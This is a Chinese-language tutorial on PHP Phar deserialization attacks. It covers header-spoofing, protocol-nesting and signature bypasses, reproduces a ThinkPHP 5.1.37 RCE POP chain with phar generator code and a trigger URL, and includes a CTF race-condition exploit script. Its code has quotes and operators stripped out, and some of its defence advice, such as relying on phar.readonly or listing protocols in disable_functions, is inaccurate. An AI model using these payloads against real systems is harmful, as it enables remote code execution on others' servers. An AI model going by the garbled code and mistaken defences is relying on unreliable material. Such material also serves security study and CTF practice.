PHP Phar 反序列化实战:3种常见绕过方式与ThinkPHP 5.1.37 RCE案例复现

📅 2026/7/7 9:57:32
PHP Phar 反序列化实战:3种常见绕过方式与ThinkPHP 5.1.37 RCE案例复现
PHP Phar反序列化漏洞深度剖析从原理到ThinkPHP 5.1.37实战在PHP安全领域Phar反序列化漏洞因其独特的触发方式和广泛的攻击面已成为渗透测试和CTF竞赛中的高频考点。本文将系统性地解析Phar反序列化的技术原理深入探讨三种典型绕过技术并通过ThinkPHP 5.1.37的RCE案例完整呈现漏洞利用链的构造过程。1. Phar文件结构与反序列化原理1.1 Phar技术背景PharPHP Archive是PHP 5.3原生支持的打包格式类似于Java的JAR文件。其核心设计目标是将多个PHP资源文件类、函数、配置文件等压缩为单个归档文件便于分发和部署。默认情况下PHP安装时已启用Phar扩展支持。典型Phar文件包含四个关键部分Stub- 文件标识头格式为?php __HALT_COMPILER(); ?可前置任意内容Manifest- 压缩文件的元信息权限、属性等其中用户自定义的meta-data以序列化形式存储File Contents- 实际压缩的文件内容Signature- 可选的完整性校验签名支持MD5/SHA1/SHA256等算法1.2 反序列化触发机制当PHP文件系统函数如file_exists()、file_get_contents()等通过phar://协议处理Phar文件时底层会调用phar_parse_metadata()解析manifest区域。关键漏洞点在于解析过程中会自动对meta-data执行反序列化操作而无需显式调用unserialize()函数。以下代码演示了基本的Phar文件生成过程class Exploit { public function __destruct() { system($_GET[cmd]); } } $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata(new Exploit()); // 危险用户可控的反序列化点 $phar-addFromString(test.txt, payload); $phar-stopBuffering();当受害者程序执行file_exists(phar://exploit.phar)时Exploit类的__destruct()方法将被自动触发形成RCE漏洞。2. 三种典型绕过技术详解2.1 文件头伪造技术当目标系统限制上传文件类型时如仅允许图片上传可通过修改Stub部分绕过检测$phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 伪装成GIF文件技术要点保留__HALT_COMPILER()标识的前提下可前置任意文件头如PNG、PDF等需配合修改文件后缀名为.jpg/.gif等允许的格式实际案例中常见于CMS头像上传等场景2.2 协议嵌套技术当phar://被关键词过滤时可利用协议嵌套实现绕过协议组合适用场景compress.bzip2://phar://过滤严格的环境php://filter/resourcephar://允许php://协议的情况data://text/plain;base64,支持data协议解析的环境典型利用代码// 原始触发方式 file_get_contents(phar://evil.phar); // 绕过方式示例 file_get_contents(compress.zlib://phar:///path/to/evil.jpg);2.3 签名绕过技术Phar文件的签名校验可能成为攻击障碍以下是两种突破方案方法一注释注入// 生成未签名的Phar文件 $phar new Phar(unsigned.phar); $phar-setSignatureAlgorithm(Phar::NONE); // 禁用签名方法二签名重计算需知道文件内容import hashlib with open(modified.phar, rb) as f: content f.read() new_sig hashlib.sha1(content[:-28]).digest() # 跳过原签名区域 modified content[:-28] new_sig content[-8:] # 重建文件结构3. ThinkPHP 5.1.37 RCE漏洞复现3.1 环境搭建与漏洞分析ThinkPHP 5.1.37存在典型的POPProperty-Oriented Programming链通过精心构造的Phar文件可实现远程代码执行漏洞环境准备composer create-project topthink/think5.1.37 tp5137利用链关键节点入口think\process\pipes\Windows类的__destruct()跳板think\model\Pivot的__toString()方法最终执行think\Request类的filterValue()方法3.2 完整攻击流程步骤一生成恶意Phar文件namespace think{ abstract class Model{ protected $append []; private $data []; function __construct(){ $this-append [ethan[calc]]; $this-data [ethannew Request()]; } } class Request{ protected $hook []; protected $filter system; function __construct(){ $this-filter system; $this-hook [visible[$this,isAjax]]; } } } // ...其他命名空间结构省略 $phar new Phar(tp_rce.phar); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); $phar-setMetadata(new Windows()); // 注入POP链 $phar-addFromString(test.txt, test); $phar-stopBuffering();步骤二文件上传与触发将tp_rce.phar重命名为avatar.jpg上传通过存在参数可控的文件操作函数触发// 示例脆弱代码 file_exists($_GET[filename]);实际请求构造http://target.com/index.php?filenamephar://uploads/avatar.jpg/test.txt3.3 防御方案对比防御措施有效性实施成本兼容性影响禁用phar扩展★★★★★★★☆☆☆★☆☆☆☆过滤phar://协议★★★☆☆★★★☆☆★★★★☆设置phar.readonlyOn★★★★☆★★★★★★★★☆☆文件内容严格校验★★★★☆★★☆☆☆★★★★☆4. 高级绕过技术与实战技巧4.1 特殊场景下的Phar利用条件竞争场景CTFshow Web276import threading import requests def upload(): while True: requests.post(target, files{file: open(phar.phar,rb)}) def trigger(): while True: r requests.get(f{target}?filephar://tmp/phar.phar) if flag{ in r.text: print(r.text) exit() threading.Thread(targetupload).start() threading.Thread(targettrigger).start()日志注入攻击N1CTF 2021 EasyPHP$phar-convertToExecutable(Phar::TAR); // 转换为tar格式绕过日志检测 $phar-addFromString(Time: .$_GET[time], fake log); // 构造合法日志格式4.2 新型检测绕过技术GBMB签名绕过// PHP源码中的签名验证逻辑php-src/ext/phar/phar.c if (memcmp(bufferpos, GBMB, 4) ! 0) { php_error_docref(NULL, E_WARNING, corrupted signature); return FAILURE; }通过精确控制文件尾部结构可构造特殊签名绕过某些安全设备的检测。5. 防御体系构建建议开发阶段严格限制文件操作函数的参数输入使用finfo检测文件真实类型而非扩展名$finfo new finfo(FILEINFO_MIME_TYPE); $type $finfo-file($_FILES[file][tmp_name]);运维阶段配置phar.readonly On禁用危险协议disable_functions phar://, zip://定期更新PHP版本PHP8已优化metadata处理安全检测# 检测项目中潜在的Phar触发点 grep -r file_exists\|file_get_contents\|is_dir --include*.php ./通过深入理解Phar反序列化的技术原理和实战应用安全研究人员可以更有效地发现和防御此类漏洞。建议在测试环境中复现本文案例并参考OWASP相关指南建立全面的反序列化防护体系。